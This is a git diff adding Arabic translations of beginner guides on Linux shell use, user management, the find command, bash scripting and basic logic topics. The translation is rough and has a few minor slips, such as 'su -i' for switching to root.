+واليوم ، لا يزال مستخدمو Linux و Unix يستخدمون نفس المصطلحات ، ولكن مع وجود اختلافات طفيفة. تتوفر المحطات الحقيقية والافتراضية ، ويمكن الوصول إلى المطاريف الافتراضية باستخدام Alt + Ctrl + \[F1-F12\] .
+
+في بيئات المستخدم الرسومية (GUI) ، يمكن للمستخدمين الوصول إلى موجه الأوامر باستخدام **محاكي طرفية** ، والذي يوفر ميزات tty ، ولكن داخل إطار. هناك العديد من المحاكيات الطرفية المتاحة لمستخدمي Linux ، مثل **xterm** و **kterm** و **rxvt** .
+
+ستعتمد تلك المتاحة على توزيع لينكس (توزيعة ، قصير) الذي تستخدمه ، والافتراضات الافتراضية. تحقق من مدير الحزم الخاص بك لتثبيت الآخرين. يمكن لمستخدمي Windows استخدام **PuTTY** أو أدوات مساعدة أخرى للاتصال بنظام Linux.
+
+### شل
+
+_Shell_ s هي برامج تقوم بتفسير الأوامر.
+
+هناك عدد منهم ، مثل [**B** ourne **A** gain **SH** ell](https://www.gnu.org/software/bash/) (BASH)، [C Shell](https://docs.freebsd.org/44doc/usd/04.csh/paper.html) (csh / tcsh)، و [Z SHell](http://zsh.sourceforge.net/) (zsh).
+
+#### سحق
+
+إن أكثر القوالب الافتراضية شيوعًا في Linux هي BASH ، ولكن يمكن لكل مستخدم التبديل مؤقتًا أو بشكل دائم إلى أي قشرة أخرى متوفرة. الغلاف قابل للنصوص بالكامل ، مما يعني أنه يمكن دمج مفاهيم البرمجة مع الأدوات المساعدة للنظام والأداة من أجل إنشاء وظائف أكثر تعقيدًا.
+
+قد يتم تضمين الأوامر التي تم إدخالها في موجه الأوامر إلى shell ، مثل **cd** أو **exit** أو **export** .
+
+كما يمكن أن تأتي من البرامج الخارجية ، وفي حالة معظم توزيعات Linux ، يتم توفيرها بواسطة [أدوات Gnu](https://www.gnu.org/software/coreutils/coreutils.html) .
+
+انظر أدناه للحصول على الأوامر الأكثر شيوعًا.
+
+| القيادة | الاستخدام | | -------- | ----------------------------------------- | | `cd` | تغيير الدليل الحالي | | `ls` | قائمة الملفات في الدليل الحالي | | `mv` نقل الملفات والدلائل | `man` وثائق القيادة مفتوحة | | `mkdir` | جعل دليل | | `rmdir` | حذف مدير | `touch` | إنشاء ملف فارغ | `rm` إزالة الملفات | | `ln` | إنشاء روابط للملفات والدلائل | `chown` | تغيير ملكية الملفات والدلائل | `chmod` | تغيير الأذونات | | `find` | تحديد موقع الملفات | | `cat` | يكتب الملفات إلى الإخراج القياسي | | `less` | يسمح التمرير من المدخلات القياسية | `grep` | البحث عن تطابقات بالنص العادي | `diff` | اظهار الفروق بين الملفات | | `passwd` | تغيير كلمة المرور الخاصة بك
+
+#### الحصول على مساعدة
+
+المساعدة الفورية متاحة للأوامر في مكان واحد أو أكثر.
+
+إضافة `--help` بعد الأمر.
+
+هذا يطبع معلومات الاستخدام للأمر.
+
+إخراجها مشابه للأمر `man` ، ولكن يتم استخدام `man` قبل الأمر الذي تريده يدويًا.
+
+يعد أمر `info` هو خيار المساعدة الثالث ، ويتم استخدامه تمامًا مثل `man` .
+
+ `ls --help 
+ 
+ man ls 
+ 
+ info ls 
+` 
+
+### الموجه
+
+يمكن أن يتغير الموجه ، وهو جزء النص الموجود في الغلاف إلى يسار المؤشر ، ليعرض حالتك الحالية ، مثل أي دليل موجود حاليًا ، والمستخدم الذي قمت بتسجيل الدخول به ، واسم جهاز الكمبيوتر الخاص بك ، _وما امتيازات لديك_ .
+
+هذا الأخير المهم هو الاعتراف. عادة ما يكون آخر حرف في الموجه ، سترى `$` ، مما يشير إلى امتيازات المستخدم العادية.
+
+إذا كانت لديك امتيازات **الجذر** ، والتي تنتمي إلى مسؤول النظام ، فستشاهد عادةً `#` كحرف أخير. عند استعراض المنتديات والحصول على المساعدة عبر الإنترنت ، غالبًا ما يتم عرض الأوامر التي يجب عليك كتابتها باستخدام هذا الحرف.
+
+**ليس عليك كتابته!**
+
+فمثلا:
+
+ `$ ls -l 
+` 
+
+يعني كتابة `ls -l` في موجه عادي.
+
+ `# apt-get install node 
+` 
+
+يعني أنك تكتب `apt-get install node` باستخدام امتيازات المشرف. تعتمد كيفية رفع الامتيازات على توزيع Linux الخاص بك.
+
+### الحصول على الجذر
+
+#### تسجيل الدخول
+
+تسجيل الدخول كجذر _فكرة سيئة للغاية_ . هذا هو السبب في أن بعض إصدارات Linux تعمل على تعطيل قدرة المستخدمين على تسجيل هذه الطريقة. يتم تشجيع هؤلاء المستخدمين على استخدام الطريقة التالية ، `sudo` من داخل حساب المستخدم الخاص بهم.
+
+إذا كان عليك استخدام وحدة التحكم الجذر ، فكن على دراية بقوة الجهاز. لن يتم تحذيرك أو مطالبتك بتأكيد معظم المهام ، حتى إذا كان الخطأ المطبعي البسيط يعني حذف شيء مهم.
+
+#### سودو
+
+إضافة "sudo" قبل أمر من أجل التحول إلى **S** uper **U** ser و **DO** (SUDO). هكذا يتم تكوين Ubuntu ومشتقاته للسماح بالوصول إلى المسؤول ، ويتم إعطاؤه على أساس كل أمر.
+
+لم يتم منحك shell root ، ولن يكون للأمر التالي الذي تكتبه امتيازات مرتفعة ، ما لم تستخدم `sudo` مرة أخرى.
+
+ `sudo apt-get update 
+` 
+
+باستثناء أول مستخدم تم إنشاؤه في بعض المواقع ، يجب إضافة المستخدمين إلى قائمة خاصة (موجودة في `/etc/sudoers` ) من أجل استخدام sudo.
+
+يتم ذلك مع الأمر `visudo` .
+
+يجب ألا تقوم مطلقًا بتحرير ملف `sudoers` باستخدام محرر نص عادي!
+
+سوف `visudo` تأكد من أنك لا قفل نفسك من النظام الخاص بك.
+
+#### سو
+
+`su` ، مثل `sudo` ، يسمح لك بالتغيير إلى مستخدم آخر ، باستثناء أنه بشكل افتراضي ، ستحصل على مطالبة أخرى مثل المستخدم الذي قمت بالتبديل إليه.
+
+من تلقاء نفسه ، `su` إلى موجه جذر ، ولكن مع متغيرات بيئة المستخدم الحالية ، مثل `$HOME` للمجلد الرئيسي ، و `$PATH` لمسار النظام.
+
+يمكن أن يؤدي ذلك إلى نتائج غير متوقعة ، وإذا كنت تريد استخدام `su` للتبديل إلى مستخدم آخر ، فأضِف واصلة بعد الأمر:
+
+ `su - 
+` 
+
+هذا سوف يحولك بشكل كامل إلى موجه الجذر.
+
+يمكن إضافة اسم مستخدم إلى الأمر للتبديل إلى ذلك المستخدم ، ولكنه يتطلب كلمة مرور المستخدم.
+
+يمكن استخدام `sudo` في تركيبة مع `su` للسماح للمدير بالتبديل إلى أي مستخدم.
+
+ `myUser@linux $ su - otherUsername 
+ Password: (typed my password) 
+ su: Authentication failure 
+ 
+ myUser@linux $ sudo su - otherUsername 
+ Password: (typed my password) 
+ otherUsername@Linux $ 
+` 
+
+### المسارات النسبية والمطلقة
+
+عند استخدام أمر في ملف ، مثل النسخ أو الحذف ، يمكنك الرجوع إلى الملف بإحدى طريقتين.
+
+#### نسبيا
+
+موقع الملف بالنسبة إلى الدليل الحالي.
+
+هناك عاملان مسار نسبي في شل ، `.` و `..`
+
+الأول ، `.` يعني الدليل الحالي ، لذا فإن `cat file.txt` `cat ./file.txt` و `cat ./file.txt` هما نفس الشيء إذا كان `cat ./file.txt` في الدليل الحالي.
+
+الآخر هو `..` ، ويعني دليل واحد في الشجرة.
+
+إذا كنت في `/home/user/projects/project-a` وقمت بإصدار الأمر `cd ..` إلى `/home/user/projects` .
+
+إذا كان دليل المشاريع يحتوي على أدلة فرعية باسم `project-a` و `project-b` و `project-c` وكنت في دليل `project-a` ، فيمكنك التبديل إلى `project-b` باستخدام `cd ../project-b` .
+
+يوجد أيضاً `environment variable` في shell يسمى `$HOME` والذي يشير إلى الدليل الرئيسي الخاص بك.
+
+يمكنك استخدام هذا في BASH باستخدام حرف التلدة `~` .
+
+تحل الصدفة محل التلدة عندما تضغط على enter ، فعلى سبيل المثال ، يمكنك التغيير إلى مجلد منزلك باستخدام `cd ~` .
+
+#### مطلق
+
+مواقع الملفات هي المسار الكامل من جذر نظام الملفات ، ولديك دائمًا شرطة مائلة.
+
+على سبيل المثال ، سيذهب `cd /home/quincy/Desktop` إلى دليل سطح المكتب في Quincy ، بغض النظر عن المسار الحالي أو المستخدم.
+
+### خيارات القيادة
+
+تتبع معظم أوامر shell نفس بناء الجملة ، وهي **ملفات خيارات الأوامر** .
+
+ `ls -l *.txt 
+` 
+
+أين
+
+*   `ls` يعطي قائمة من الملفات والدلائل ،
+*   `-l` يغير ناتج `ls` إلى قائمة طويلة ،
+*   و `*.txt` بتقييد القائمة بالملفات التي تنتهي بـ `.txt` .
+
+لكل أمر خيارات مختلفة ، ويمكن إدراج خيارات متعددة معًا ، كما في tar `tar -cvf` في القسم التالي.
+
+يمكن توصيل الأوامر الفردية معًا في سلسلة ، حيث يصبح إخراج أمر واحد هو الإدخال إلى أمر آخر.
+
+يتم ذلك مع `|` الحرف ، وغالبا ما تسمى **الأنابيب** أو **شريط** . هذا ليس رأس مال i أو حرف L صغير ، ولا هو الرقم 1 . على لوحات المفاتيح الأمريكية ، تم العثور على أحد المفاتيح بالقرب من Enter .
+
+في المثال التالي ، سأستخدم أمرين.
+
+أول ، `cat` ، قصيرة لسلسلة ، ويمكن استخدامها لوضع محتويات ملف واحد في نهاية آخر (سَلسَلة!). عند استخدامه مع ملف واحد فقط ، فإنه يكتب المحتويات إلى المحطة.
+
+الأمر الثاني ، `grep` هو برنامج يخرج النص الموجود بناءً على بعض المدخلات ، ونمط بحث. يمكن أن يكون نمط البحث عبارة عن نص بسيط ، أو تعبير عادي (تعبير عادي) لعمليات بحث أكثر تقدمًا.
+
+ `cat index.html | grep img 
+` 
+
+هناك العديد من الطرق للقيام بذلك ، ولكن هذا سيخرج كل سطر في index.html يحتوي على `img` إلى المحطة الطرفية. يستخدم هذا المثال واحد فقط `|` ، لكنك لا تقتصر على ذلك.
+
+### تسلسل الأوامر
+
+في حين أن عامل العطف الوحيد `&` هو عامل التحكم في الوظيفة في BASH (المقطع التالي) ، فإن علامة الضم المزدوجة لها معنى آخر. ومن المنطقي **AND** ، واستخدامه بين أمرين بحيث يتم تشغيل الأمر الثاني فقط إذا تم الخروج الأول بنجاح (بدون خطأ).
+
+المثال التالي هو عدد مستخدمي دبيان وأوبونتو الذين يقومون بتحديث قائمة البرامج الخاصة بهم ، ثم قم بتشغيل ترقية النظام.
+
+ `sudo apt-get update && sudo apt-get dist-upgrade 
+` 
+
+خيار آخر هو أنبوب مزدوج `||` مما يعني منطقية **OR** . يمكنك استخدامه عندما تريد تشغيل أمر فقط عندما يخرج الأول بخطأ.
+
+سوف يقوم ما يلي بإنشاء أرشيف يسمى `project.tar` على سطح مكتب المستخدم من الملفات الموجودة في دليل مشروع ، وإذا فشل ذلك ، صدى رسالة.
+
+ `tar -cvf /home/user/Desktop/project.tar /home/user/project/* || echo "archive failed" 
+` 
+
+### وظائف الخلفية
+
+عندما تقوم بتشغيل أمر في مطراف ، تكون المحطة مشغولة حتى يتم الانتهاء من الأمر ، ولا يمكن تشغيل أوامر أخرى. هناك نظام للتحكم في الوظائف في لينكس يسمح لك بتعليق أوامر التشغيل واستئناف الأوامر المعلقة في الخلفية واستئناف الأوامر الموقوفة في المقدمة.
+
+هذا مفيد للنصوص النصية التي تعمل منذ فترة طويلة ، أو عندما تحتاج إلى إدخال شيء ما في الخلفية حتى يمكن استخدام الجهاز لأشياء أخرى.
+
+o تعليق برنامج قيد التشغيل في المحطة الطرفية استخدم تركيبة المفاتيح Ctrl + Z.
+
+ستعود إلى المطالبة العادية ، ويبدو أن الأمر قد انتهى. لم يحدث ذلك ، ولكن تم تعليقه فقط. ما زال مرئيًا في قائمة `jobs` باستخدام أمر `jobs` لإدراج جميع الوظائف المتعقبة حاليًا. فعلت `man ls` للحصول على صفحة دليل ، ومن ثم علقت.
+
+عندما أكتب `jobs` أحصل على الناتج التالي:
+
+ `$ jobs 
+ 
+ [1]  + suspended  man ls 
+` 
+
+من هنا ، يمكنني السماح باستئنافها في الخلفية بكتابة `bg %1` حيث `1` هو رقم المهمة الموجود بين الأقواس المربعة.
+
+يمكنني إعادته إلى المقدمة بكتابة `fg %1` .
\ No newline at end of file
diff --git a/client/src/guide/arabic/linux/user-management-on-linux/index.md b/client/src/guide/arabic/linux/user-management-on-linux/index.md
new file mode 100644
index 0000000000..4cca74bdcc
--- /dev/null
+++ b/client/src/guide/arabic/linux/user-management-on-linux/index.md
@@ -0,0 +1,81 @@
+---
+title: User management on Linux
+localeTitle: إدارة المستخدم على لينكس
+---
+#### ملاحظة: لتشغيل أمر `sudo` يجب أن يكون لديك حساب مستخدم sudo (مسؤول)
+
+## كيف تصنع مستخدم
+
+#### استخدم الأمر `adduser` أو `useradd` لإضافة مستخدم جديد إلى نظامك.
+
+ `$ sudo adduser username 
+` 
+
+تأكد من استبدال `username` بالمستخدم الذي ترغب في إنشائه.
+
+#### استخدم الأمر `passwd` لتحديث كلمة مرور المستخدم الجديد.
+
+ `$ sudo passwd username 
+` 
+
+ينصح بشدة كلمة مرور قوية!
+
+## كيفية إنشاء مستخدم سودو
+
+لإنشاء مستخدم `sudo` ، تحتاج إلى إنشاء مستخدم عادي أولاً باستخدام الأمر أعلاه ، ثم إضافة هذا المستخدم إلى مجموعة `sudoers` باستخدام الأمر `usermod` .
+
+##### على أنظمة ديبيان (أوبونتو / لينكس مينت / ElementryOS)، وأعضاء `sudo` مجموعة لديه امتيازات سودو.
+
+ `$ sudo usermod -aG sudo username 
+` 
+
+##### على syhels مقرها RHEL (فيدورا / CentOs) ، أعضاء مجموعة `wheel` لديهم sudo privilages.
+
+ `$ sudo usermod -aG wheel username 
+` 
+
+## كيفية حذف مستخدم
+
+##### لديبيان (أوبونتو)
+
+ `$ sudo deluser username 
+` 
+
+##### ل RHEL (فيدورا / CentOS)
+
+ `$ sudo userdel username 
+` 
+
+##### إنشاء مجموعات وإضافة مستخدمين
+
+ `$ sudo groupadd editorial 
+ $ sudo usermod -a -G editorial username 
+` 
+
+#### ملاحظة: يمكن تنفيذ جميع الأوامر المذكورة أعلاه بدون sudo في وضع `root`
+
+للتبديل إلى الجذر على ubuntu ، قم بتشغيل الأمر `su -i` متبوعاً بكلمة مرور المستخدم الذي قام بتسجيل الدخول. تغييرات سريعة على `#` insted of `$`
+
+##### على أنظمة ديبيان (أوبونتو / لينكس مينت / ElementryOS)، وأعضاء `sudo` مجموعة لديه امتيازات سودو.
+
+ `$ sudo usermod -aG sudo username 
+` 
+
+## كيف تصنع مجموعة
+
+لإنشاء مجموعة ، استخدم الأمر `groupadd`
+
+ `$ sudo groupadd groupname 
+` 
+
+## كيفية حذف المجموعة
+
+لحذف مجموعة ، استخدم الأمر 'groupdel'
+
+`` ` $ sudo groupdel grouname``
+
+#### المراجع
+
+[ديبيان (أوبونتو)](https://www.digitalocean.com/community/tutorials/how-to-add-and-delete-users-on-ubuntu-16-04)
+
+[RHEL (CentOS / Fedora)](https://www.digitalocean.com/community/tutorials/how-to-add-and-delete-users-on-a-centos-7-server)
\ No newline at end of file
diff --git a/client/src/guide/arabic/linux/using-the-find-command/index.md b/client/src/guide/arabic/linux/using-the-find-command/index.md
new file mode 100644
index 0000000000..d973171275
--- /dev/null
+++ b/client/src/guide/arabic/linux/using-the-find-command/index.md
@@ -0,0 +1,33 @@
+---
+title: Using the Find Command
+localeTitle: باستخدام الأمر بحث
+---
+# باستخدام الأمر بحث
+
+يعتبر الأمر "البحث عن Linux" أداة قوية تساعدك في تحديد موقع الملفات والدلائل على الخادم الخاص بك. مع القليل من التدريب ، يمكنك بسهولة تتبع الأشياء استنادًا إلى الاسم ، أو النوع ، أو الحجم ، أو التاريخ (عند إنشائها أو تحديثها الأخير).
+
+فكر في العثور على مساعد حريص عليك:
+
+أنت: "أنا أبحث عن شيء ما على الخادم الخاص بي."
+
+البحث: "يمكنني المساعدة! ما الذي يمكنك إخباري به؟"
+
+أنت: "لقد كان ملفًا أكبر من 2 غيغابايت ، في مكان ما أسفل دليل منزلي ، وتم تحديثه في آخر 48 ساعة."
+
+البحث: "تادا!"
+
+البحث هو برنامج ، لذلك عليك حقا أن تقول أنه `find ~ -type f -size +2G` .
+
+فيما يلي بعض أوامر العينة باستخدام find:
+
+*   `find ~ -type d # Show me all the subdirectories inside my home directory`
+*   `find / -type f -name 'todo.txt' # Show me files named 'todo.txt' anywhere under the root directory (ie anywhere)`
+
+تشير المعلمة الأولى دائمًا إلى الدليل الذي سنظهر به. في الأمثلة المذكورة أعلاه ، هذه ~ (الدليل الرئيسي للمستخدم الحالي) و / (الدليل الجذري لنظام الملفات).
+
+المعلمات الأخرى اختيارية ويمكن دمجها بأي طريقة تجدها مفيدة:
+
+*   تتيح معلمة النوع تقييد البحث عن الملفات فقط (f) أو الدلائل فقط (d) أو الارتباطات الرمزية (l). إذا حذفت معلمة النوع ، فستبحث عن جميع هذه الأنواع.
+*   تتيح لك المعلمة name تحديد ما تريد البحث عنه بالاسم ، إما باستخدام سلسلة حرفية ('filename.txt') أو باستخدام أحرف البدل ('file؟. \*').
+
+سيظهر لك `man find` ما العديد من المعلمات ، ويستحق المراجعة. يمكن العثور على تحديد موقع الملفات بالاسم والمستخدم وتاريخ الإنشاء والحجم وأكثر من ذلك بكثير. في المرة القادمة التي تبحث فيها عن شيء ما ، يمكنك العثور عليه!
\ No newline at end of file
diff --git a/client/src/guide/arabic/linux/writing-a-bash-script/index.md b/client/src/guide/arabic/linux/writing-a-bash-script/index.md
new file mode 100644
index 0000000000..b7d8ff2c71
--- /dev/null
+++ b/client/src/guide/arabic/linux/writing-a-bash-script/index.md
@@ -0,0 +1,90 @@
+---
+title: Writing a Bash Script
+localeTitle: كتابة سيناريو باش
+---
+# كتابة سيناريو باش
+
+من خلال كتابة الأوامر على سطر أوامر Linux ، يمكنك إعطاء تعليمات الخادم لإنجاز بعض المهام البسيطة. كالجحيم البرنامج النصي هو وسيلة لوضع مجموعة من التعليمات لجعل هذا أسهل. تصبح نصوص Shell أكثر قوة عندما يمكنك إضافة المنطق كما `if` و `while` تتحكم تلقائيًا في كيفية تصرفهم مع تغير الظروف.
+
+## ما هو باش؟
+
+Bash هو اسم مترجم سطر الأوامر ، وهو برنامج يجعل من المنطقي أوامر Linux التي تدخلها في الأمر موجه ، أو في البرنامج النصي الخاص بك.
+
+## ماذا يوجد في البرنامج النصي؟
+
+البرنامج النصي هو مجرد ملف. يتكون النص الأساسي من سطر تمهيدي يخبر الخادم بما يجب عليه ، والآخر أو المزيد من الإرشادات للتنفيذ. إليك مثال على ذلك:
+
+ `#!/bin/bash 
+ echo "Hi. I'm your new favorite bash script." 
+` 
+
+السطر الأول له معنى خاص ، والذي سنناقشه أدناه. السطر الثاني هو مجرد أمر لينكس ، واحد يمكن أن تكتبه خارج على سطر الأوامر.
+
+## ما هو التعليق؟
+
+التعليقات هي نص تضيفه إلى النص البرمجي الذي تنوي أن تتجاهله bash. تبدأ التعليقات بعلامة الجنيه ، وتكون مفيدة لـ شرح التعليمة البرمجية حتى تتمكن أنت والمستخدمين الآخرين من فهمها. لإضافة تعليق ، اكتب الرمز `#` ، متبوعًا بأي نص هذا مفيد لك. باش سوف يتجاهل `#` وكل شيء بعده.
+
+**ملاحظة:** السطر الأول من النص البرمجي ليس تعليقًا. يكون هذا السطر دائمًا أولاً ، ويبدأ دائمًا بـ `#!` ولديه خاصة معنى باش.
+
+هنا النصي من قبل ، وعلق:
+
+ `#!/bin/bash # Designates the path to the bash program. Must start with '#!' (but isn't a comment). 
+ echo "Hi. I'm your new favorite bash script." # 'echo' is a program that sends a string to the screen. 
+` 
+
+## تنفيذ البرنامج النصي
+
+يمكنك فتح محرر نصوص ، ولصق رمز المثال هذا وحفظ الملف ، ولديك برنامج نصي. البرامج النصية هي تقليديا اسمه في النهاية بـ ".sh" ، لذلك قد تحفظ هذا الرمز على أنه myscript.sh.
+
+لن يتم تنفيذ النص البرمجي حتى نقوم بعمل أمرين:
+
+**أولا ، جعلها قابلة للتنفيذ.** (سوف يتعين علينا القيام بذلك مرة واحدة فقط.) يعتمد Linux على نطاق واسع على أذونات الملفات. إنهم يحددون الكثير عن سلوك خادمك. هناك الكثير لتعرفه أذونات ، ولكن في الوقت الحالي لا نحتاج إلا إلى معرفة ذلك: لا يمكنك تشغيل البرنامج النصي حتى تعطي نفسك أذونات التنفيذ. إلى افعل ذلك ، اكتب:
+
+`chmod +x my script.sh`
+
+**ثانيا ، قم بتشغيله.** نقوم بتنفيذ البرنامج النصي من سطر الأوامر تمامًا مثل أي أمر آخر مثل `ls` أو `date` . النص الاسم هو الأمر ، ويجب أن تسبقه بـ "./" عند تسميته:
+
+`./myscript.sh # Outputs "Hi. I'm your new favorite bash script." (This part is a comment!)`
+
+## الشرطية
+
+في بعض الأحيان ترغب في أن يقوم برنامجك النصي بعمل شيء ما فقط إذا كان هناك شيء آخر صحيح. على سبيل المثال ، طباعة رسالة فقط إذا كانت القيمة تحت حد معين. في ما يلي مثال لاستخدامه في `if` القيام بذلك:
+
+ `#!/bin/bash 
+ 
+ count=1 # Create a variable named count and set it to 1 
+ 
+ if [[ $count -lt 11 ]]; then # This is an if block (or conditional). Test to see if $count is 10 or less. If it is, execute the instructions inside the block. 
+    echo "$count is 10 or less" # This will print, because count = 1. 
+ fi # Every if ends with fi 
+` 
+
+وبالمثل ، يمكننا ترتيب البرنامج النصي بحيث ينفذ تعليمات فقط بينما يكون شيء ما صحيحًا. سنقوم بتغيير الكود بحيث قيمة التغيرات المتغيرة العد:
+
+ `#!/bin/bash 
+ 
+ count=1 # Create a variable named count and set it to 1 
+ 
+ while [[ $count -lt 11 ]]; do # This is an if block (or conditional). Test to see if $count is 10 or less. If it is, execute the instructions inside the block. 
+    echo "$count is 10 or less" # This will print as long as count <= 10. 
+    count=$((count+1)) # Increment count 
+ done # Every while ends with done 
+` 
+
+سيظهر ناتج هذا الإصدار من myscript.sh بالشكل التالي:
+
+ `"1 is 10 or less" 
+ "2 is 10 or less" 
+ "3 is 10 or less" 
+ "4 is 10 or less" 
+ "5 is 10 or less" 
+ "6 is 10 or less" 
+ "7 is 10 or less" 
+ "8 is 10 or less" 
+ "9 is 10 or less" 
+ "10 is 10 or less" 
+` 
+
+## مخطوطات العالم الحقيقي
+
+هذه الأمثلة ليست مفيدة بشكل كبير ، ولكن المبادئ هي. باستخدام `while` ، `if` ، وأي أمر قد اكتب خلاف ذلك يدوياً ، يمكنك إنشاء برامج نصية تقوم بعمل قيّم.
\ No newline at end of file
diff --git a/client/src/guide/arabic/logic/algebra-of-logic/index.md b/client/src/guide/arabic/logic/algebra-of-logic/index.md
new file mode 100644
index 0000000000..a837494743
--- /dev/null
+++ b/client/src/guide/arabic/logic/algebra-of-logic/index.md
@@ -0,0 +1,22 @@
+---
+title: Algebra of Logic
+localeTitle: جبر المنطق
+---
+## جبر المنطق
+
+_جبر المنطق_ أو _الجبر البولياني_ هو فرع الرياضيات. انها تتعامل مع المتغيرات وقيمتها الحقيقة. لدى المتغيرات حالتين محتملتين - `true` أو `false` .
+
+تم تقديمه لأول مرة من قبل جورج بول في كتابه "التحليل الرياضي للمنطق" (1847).
+
+الجبر البولي منطقية لتنمية الإلكترونيات الرقمية. وهي مسؤولة عن جعل جميع الحوسبة الحديثة ممكنة.
+
+العمليات الأساسية الثلاث في الجبر البولياني هي `AND` `OR` و `NOT` . فكر في اثنين من المتغيرات المنطقية `x` و `y` :
+
+*   `x AND y` صحيح إذا وفقط إذا كان كل من `x` و `y` صحيحين
+*   `x OR y` صحيح إذا وفقط إذا كان أي من `x` ، `y` صحيحًا. إذا كانت `x` ، `y` صحيحان ، فإن `x OR y` لا يزال صحيحًا
+*   `NOT x` is true if and only if `x` is false and the correct versa
+
+### معلومات اكثر:
+
+*   حساب التفاضل والتكامل في المنطق: [جورج بول](http://www.maths.tcd.ie/pub/HistMath/People/Boole/CalcLogic/CalcLogic.html)
+*   بولي الجبر المادة: [ويكيبيديا](https://en.wikipedia.org/wiki/Boolean_algebra)
\ No newline at end of file
diff --git a/client/src/guide/arabic/logic/conditional-and-biconditional-statements/index.md b/client/src/guide/arabic/logic/conditional-and-biconditional-statements/index.md
new file mode 100644
index 0000000000..308030d3d2
--- /dev/null
+++ b/client/src/guide/arabic/logic/conditional-and-biconditional-statements/index.md
@@ -0,0 +1,9 @@
+---
+title: Conditional and Biconditional Statements
+localeTitle: بيانات مشروطة و Biconditional
+---
+## بيانات مشروطة و Biconditional
+
+**العبارة الشرطية:** "if". إذا كان هناك شيء واحد صحيح ، فعندئذ هناك شيء آخر صحيح أو يمكن أن يحدث. _مثال:_ إذا هطلت الأمطار الآن ، فستكون الأرض مبللة. _ومع ذلك_ ، فإن العكس ("إذا كانت الأرض مبللة ، ثم تمطر") ليس صحيحًا بالضرورة.
+
+**بيان شرطي** **_ثنائي_** **:** "إذا وفقط إذا". إذا كان هناك شيء واحد صحيح ، فإن شيء آخر صحيح. وإذا كان هذا شيء آخر صحيحًا ، فعندئذٍ يكون الشيء الوحيد صحيحًا. طريقة أخرى للتفكير في الأمر هي أن شيئين إما كلاهما حقيقيان ، أو كلاهما كاذب (ليس صحيحًا والآخر زائف). _مثال:_ تحتوي الساحة على 16 متراً مكعباً إذا وفقط إذا كانت جوانبها بطول 4 أمتار.
\ No newline at end of file
diff --git a/client/src/guide/arabic/logic/dining-philosophers-problem/index.md b/client/src/guide/arabic/logic/dining-philosophers-problem/index.md
new file mode 100644
index 0000000000..377ad015e7
--- /dev/null
+++ b/client/src/guide/arabic/logic/dining-philosophers-problem/index.md
@@ -0,0 +1,48 @@
+---
+title: Dining Philosophers Problem
+localeTitle: تناول الفلاسفة مشكلة
+---
+## تناول الفلاسفة مشكلة
+
+في علوم الكمبيوتر ، مشكلة فلاسفة الطعام هي مثال على المشكلة التي غالباً ما تستخدم في تصميم الخوارزمية المتزامن لتوضيح قضايا التزامن وتقنيات حلها. تمت صياغتها في الأصل في عام 1965 من قبل Edsger Dijkstra كتمرين امتحان طلابي ، تم تقديمه من حيث أجهزة الكمبيوتر المتنافسة للوصول إلى الأجهزة الطرفية لمحرك الأقراص. بعد فترة وجيزة ، أعطى توني هور مشكلة صيغته الحالية.
+
+وبكلمات بسيطة ، تمثل مشكلة فلاسفة الطعام مثالاً يوضح كيف يمكن أن يؤدي الوصول المتزامن إلى مورد مشترك إلى خلق حالة توقف تام.
+
+#### التزامن و طريق مسدود
+
+يستخدم **تزامن** للتحكم في الوصول المتزامن لمورد مشترك. وهذا ضروري في أي موقف حيث قد يتنافس عدة ممثلين مستقلين للحصول على مورد واحد. نظرًا لوجود مورد واحد فقط ، فإننا نستخدم التزامن لمنع التشويش والفوضى.
+
+**الجمود** هو حالة نظام حيث لا يوجد تقدم ممكن. يمكن أن يحدث هذا الموقف عند فرض التزامن ، وينتهي الأمر بعمليات عديدة في انتظار مورد مشترك يتم الاحتفاظ به بواسطة عملية أخرى. في هذه الحالة ، تستمر العمليات في الانتظار ولن تنفذ أكثر من ذلك.
+
+#### عرض المشكلة
+
+خمسة فلاسفة صامتة يجلسون على طاولة مستديرة مع أطباق من السباغيتي. يتم وضع الشوكات بين كل زوج من الفلاسفة المجاورين.
+
+يجب على كل فيلسوف التفكير والتناوب. ومع ذلك ، يمكن للفيلسوف أن يأكل الاسباجيتي فقط عندما يكون لديه الشوك اليسرى واليمنى. يمكن لكل شوكة أن تحتجزها فيلسوفة واحدة فقط ، وبالتالي يمكن للفيلسوف استخدام الشوكة فقط إذا لم يتم استخدامها من قبل فيلسوف آخر. بعد أن ينتهي فيلسوف فردي من تناول الطعام ، عليه أن يضع كلتا الشوكتين بحيث تصبح الشوك متاحة للآخرين. يمكن للفيلسوف أن يأخذ الشوكة على يمينه أو على يمينه عند إتاحته ، ولكن لا يمكنه البدء في تناول الطعام قبل الحصول على كلا الشوكتين. ( **التزامن** )
+
+لا يقتصر تناول الطعام على الكمية الباقية من السباغيتي أو مساحة المعدة. يفترض العرض اللانهائي والطلب لانهائي.
+
+تكمن المشكلة في كيفية تصميم انضباط للسلوك (خوارزمية متزامنة) بحيث لا يموت أي فيلسوف. أي ، يمكن لكل منها أن يستمر إلى الأبد في التناوب بين الأكل والتفكير ، على افتراض أنه لا يمكن لأي فيلسوف أن يعرف متى قد يرغب الآخرون في تناول الطعام أو التفكير. ( **تجنب الجمود** )
+
+مقدما ، قد يبدو أن الجمود ليس من الممكن بسهولة. لنرى أن الحل المناسب لهذه المشكلة غير واضح ، فكر في اقتراح يُطلب من كل فيلسوف أن يتصرف فيه على النحو التالي:
+
+1.  فكر حتى تصبح الشوكة اليسرى متوفرة ؛ عندما تكون ، استلمها ؛
+2.  فكر حتى تتوافر الشوكة اليمنى ؛ عندما تكون ، استلمها ؛
+3.  عندما يتم احتجاز الشوكتين ، تناول الطعام لفترة محددة من الوقت ؛
+4.  ثم ضع الشوكة اليمنى لأسفل ؛
+5.  ثم وضع الشوكة اليسرى لأسفل ؛
+6.  كرر من البداية.
+
+فشل محاولة هذا الحل لأنه يسمح للنظام بالوصول إلى حالة توقف تام ، حيث لا يوجد تقدم ممكن. هذه هي الحالة التي التقط فيها كل فيلسوف الشوكة إلى اليسار ، وينتظر وصول الشوكة إلى اليمين ، أو العكس. مع التعليمات المعطاة ، يمكن الوصول إلى هذه الحالة ، وعندما يتم التوصل إليها ، سينتظر الفلاسفة إلى الأبد لإطلاق سراح شوكة. ( **الجمود والمجاعة** )
+
